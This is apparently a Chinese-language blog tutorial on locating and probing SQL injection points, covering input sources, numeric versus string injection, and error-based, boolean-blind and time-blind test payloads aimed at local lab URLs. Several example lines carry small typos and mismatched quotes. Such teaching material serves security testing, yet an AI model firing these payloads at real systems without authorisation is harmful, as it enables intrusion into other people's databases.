SQL注入点分析
1:常见的注入点
从程序编写的角度看SQL注入,SQL注入漏洞产生的本质原因是将获取到的用户可控数据在没有经过安全处理的情况下拼接到SQL语句中并发送给数据库服务器执行导致的。因此,任何服务器能取到的用户输入,都是可能存在SQL注入的注入点,对于手工测试而言,通常根据业务找寻可能与数据库有交互的输入作为潜在的注入点进行测试:
常见注入点:
- 表单提交,主要是POST,或者GET请求。
- URL参数,主要为GET请求参数。
- Cookie中的参数。
- HTTP请求头部可修改的值,比如: Referer、User_Agent等。
2:注入点测试的基本思路
SQL注入点的测试本质上是基于原理的模糊测试,我们需要根据一个注入点的功能,推测其可能使用的SQL操作、用户输入的数据类型(数字型或字符型)以及用户输入拼接到SQL语句的位置,比如说登陆功能的话,它有可能执行的SQL语句就是select。然后尝试构造基础的报错注入语句、布尔盲注或时间盲注语句来验证相关位置是否存在sql注入漏洞。
注意,在未知源码的情况下,我们只能尽可能尝试构造各类测试语句来对注入点进行测试,如果测试现象符合条件可以认为存在SQL注入漏洞,但测试现象不符合预期并不能100%确定SQL注入漏洞不存在。
1)数字型与字符型的判别
一:数字型
1、参数后加单引号,报错注入
http://127.0.0.1/2/sql1.php?id=1'
SELECT first_name, last_name FROM users WHERE user_id = 1';
2、参数后加" and 1=1”,访问正常: 布尔型盲注
http://127.0.0.1/2/sql1.php?id=1 and 1=1
SELECT first_name, last_name FROM users WHEREuser_id = 1 and 1=1;
3、参数后加" and 1=2”,访问异常(如:无信息)
http://127.0.0.1/2/sql1.php?id=1 and 1=2
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2;
4、时间盲注
http://127.0.0.1/2/sql1.php?id=1 and sleep(5)
SELECT first_name, last_name FROM users WHERE user_id = 1 and sleep(5);
二:字符型
1、参数后加单引号,报错注入
http://127.0.0.1/2/sql2.php?name=admin'
SELECT user_id,user FROM users WHERE last_name ='admin";,
2、参数后加"‘and’1’= ‘1”,访问正常。布尔型盲注
http://127.0.0.1/2/sql2.php?name=admin'and'1'='1
sEiECT user_id,user FROM users WHERE last_name ='admin'and'1'='1;
3、参数后加“‘and’1’='2”,访问异常
http://127.0.0.1/2/sql2.php?name=admin'and'1'='2
SELECT user_id,user FROM users WHERE last_name ='admin'and1'='2';
4、参数后加“" and sleep(3) --“3秒后打开。时间盲注:0口
http://127.0.0.1/2/sgl2.php?name=admin'and/or sleep(3)--
SELECT user_id,user FROM users WHERE last name ='admin' and sleep(3)--;
2)注入点的报错语句
在进行SQL注入点测试的时候,构造报错注入语句是第一步,报错注入语句的构造相对简单,通常只要在参数值中增加一些常见的符号就可以让SQL语句产生语法错误,常见可使用的符号包括单引号、双引号、括号、分号、冒号、斜杠、反斜杠等,可以将这些符号组合使用进行尝试。以下是用单引号让SQL语句产生语法错误。

#对于数字型SQL注入,常见符号都可以引起语法错误
SELECT title,context FROM `news` WHERE newsid= 11' # 11'
SELECT title,context FROM `news` WHERE newsid= 11" # 11"
SELECT title,context FROM `news` WHERE newsid= 11) # 11)
#对于字符型SQL注入点,通常需要使用单引号或双引号闭合原有的单双引号才能引起错误
SELECT score FROM `info` WHERE name='lilei'")' # lilei'")
SELECT score FROM `info` WHERE name="lilei'")" # lilei'")
常用的符号 " ' '" '") '")(<>/
3)注入点的布尔型盲注语句
布尔型盲注语句需要在涉及判断的功能中才能使用,其中最常见的就是在查询条件的位置,分别拼接上一段结果为真和结果为假的判断语句,如果结果为真时显示效果与原来一致,结果为假时查询不到数据或与原来数据不一致,则认为存在布尔型盲注
对于数字型SQL注入,通常直接拼接判断语句即可
SELECT title,context FROM `news` WHERE newsid= 11 and 1=1 # 11 and 1=1
SELECT title,context FROM `news` WHERE newsid= 11 and 1=2 #11 and 1=2
对于字符型SQL注入点,通常需要使用单引号或双引号闭合原有的单双引号才能进行拼接
SELECT score FROM `info` WHERE name='lilei'and '1'='1' # lilei'and '1'='1
SELECT score FROM `info` WHERE name='lilei'and '1'='2' # lilei'and '1'='2
SELECT score FROM `info` WHERE name="lilei'and "1"="1" # lilei'and "1"="1
SELECT score FROM `info` WHERE name="lilei'and "1"="2" # lilei'and "1"="2
常见的测试payload
| 条件为真 | 条件为假 | |
|---|---|---|
| 数字型 | And 1=1 | And 1=2 |
| 数字型 | +0 | +1 |
| 数字型 | *1 | |
| 数字型 | Or 1=2 | And 1=2 |
| 数字型 | and ‘1’=‘1’ | and ‘1’=‘2’ |
| 字符型 | ’ and ‘1’='1 | ’ and ‘1’='2 |
| 字符型 | or ‘a’='b | ’ and ‘a’='b |
4)注入点的时间型盲注语句
对于没有涉及判断的功能,如插入、更新等语句的数据位置(而非条件语句的位置),或者布尔型盲注的结果无法判断的(如显示均正常或均异常),可以尝试使用时间型盲注语句进行测试,如果插入时间型盲注语句后服务器延时响应,则认为存在SQL注入漏洞。通常可以在浏览器——>开发者选项——>network 中看到后端传输回来响应时间。
时间型盲注的结果判断主要是根据服务器的响应结果,如果在加入时间型盲注语句后服务器响应有明显的延时,可以判断SQL注入漏洞存在。为了排除网络环境影响,可以尝试不同延时量的时间型盲注语句,根据延时的差异进一步进行确认。使用Firefox的firebug插件可以准确的跟踪延时信息。
与其他测试方式不同的是,时间型盲注依赖于时间相关函数或语法,每个数据库的函数并不相同只能进行尝试。在实际使用中,通常有直接调用延时函数(或语法)和调用耗时较高的函数(或语法)两种方式:
| 直接调用延时函数(或语法) | mysql和sqlserver提供了可直接调用的延时函数和语法,如mysql的sleep函数和SQLserver的waitfor语法可直接调用。 |
|---|---|
| 调用耗时较高的函数(或语法) | 针对其他数据库或延时函数(或语法)不适用时可以尝试调用耗时较高的函数或语法。如:select BENCHMARK(10000000,MD5(‘a’)); |
4.1 Mysql数据库
SLEEP函数可以实现延迟,在所有数据位置均可以使用:
- 对于数字型SQL注入点,通常直接拼接判断语句即可
SELECT title,context FROM `news` WHERE newsid= 11 and sleep(10) # 11 and sleep(10)
- 对于字符型SQL注入点,通常需要使用单引号或双引号闭合原有的单双引号才能进行拼接
SELECT score FROM `info` WHERE name='lilei'and sleep(10) and '1' # lilei'and sleep(10) and '1
4.2 SQLserver数据库:
WAITFOR DELAY 语句可以实现,通常需要跟在条件判断语句之后
对于数字型SQL注入,通常直接拼接判断语句即可
SELECT title,context FROM `news` WHERE newsid = 11 waitfor delay '0:0:4' # 11 waitfor delay '0:0:4'
对于字符型SQL注入点,通常需要使用单引号或双引号闭合原有的单双引号才能进行拼接
SELECT score FROM `info` WHERE name='lilei' waitfor delay '0:0:4' # lilei' waitfor delay '0:0:4
本文详细介绍了SQL注入点的分析,包括常见的注入点如表单、URL参数、Cookie和HTTP头部,以及测试的基本思路,如数字型与字符型的判别、报错语句、布尔型盲注和时间型盲注的构造方法。通过对各种测试语句的使用,帮助识别和测试潜在的SQL注入漏洞。

6167

被折叠的 条评论
为什么被折叠?



